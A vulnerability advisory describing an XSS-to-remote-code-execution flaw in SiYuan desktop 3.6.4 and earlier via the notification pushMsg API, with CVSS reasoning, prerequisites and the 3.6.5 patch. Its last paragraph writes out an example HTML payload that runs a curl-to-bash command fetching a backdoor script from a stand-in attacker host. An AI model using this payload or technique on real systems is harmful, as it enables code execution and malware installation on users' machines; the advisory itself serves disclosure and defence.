SiYuan EUVD-2026-25614

Requires authenticated local access to a SiYuan desktop installation running version 3.6.4 or earlier on Windows, macOS, or Linux. The attacker must possess valid SiYuan user credentials to authenticate API requests to the /api/notification/pushMsg endpoint. Exploitation further requires either direct local system access to make API calls or the ability to deliver malicious payloads through SiYuan's plugin ecosystem, workspace synchronization, or imported knowledge base files. The vulnerable Electron configuration (nodeIntegration: true, contextIsolation: false, webSecurity: false) is present in default installations and does not require special user opt-in. User interaction is NOT required (UI:N in CVSS) once the notification message is injected, as the frontend automatically renders all broadcast notifications. Web-only deployments or instances with API access restrictions may limit exploitability, but default desktop installations meet all prerequisites for exploitation given local authenticated access.

CVSS 8.8 (High) accurately reflects the technical severity: Local vector (AV:L) requiring low-privilege authentication (PR:L) but no user interaction (UI:N), with scope change (S:C) and complete CIA impact (C:H/I:H/A:H). The scope change is justified because the exploit breaks out of the Electron sandbox to execute OS-level commands. However, real-world exploitability is constrained by the local attack vector and authentication requirement - an attacker must already have local access and valid SiYuan credentials. This is not a remote unauthenticated attack despite the RCE outcome. The vulnerability is NOT in CISA KEV, indicating no confirmed active exploitation in the wild. No EPSS score is provided in the intelligence data, but the local-only vector typically correlates with lower mass-exploitation probability. The availability of a vendor patch (3.6.5) since early in the vulnerability lifecycle reduces window of exposure for organizations with active patching. Primary risk scenarios are insider threats, supply chain attacks targeting SiYuan configurations, or privilege escalation in already-compromised environments. For single-user desktop deployments, the authentication requirement significantly reduces remote threat actor risk, but malicious plugins, workspace imports, or shared knowledge bases could deliver payloads. This is a genuine high-severity issue requiring patching, but not a critical-urgency internet-facing exposure.

An authenticated attacker with local access to a SiYuan desktop installation crafts a malicious API request to POST /api/notification/pushMsg containing embedded JavaScript payloads in the msg parameter, such as <img src=x onerror="require('child_process').exec('curl attacker.com/backdoor.sh | bash')">. When the application broadcasts this notification and the frontend renders it via insertAdjacentHTML(), the injected script executes with full Node.js privileges due to nodeIntegration: true, spawning a reverse shell or installing persistent malware. The attacker could deliver this payload through shared workspace synchronization, malicious plugin installation, or by exploiting another local vulnerability to inject the API call. No public proof-of-concept is confirmed, but the attack pattern is straightforward for anyone with local credentials.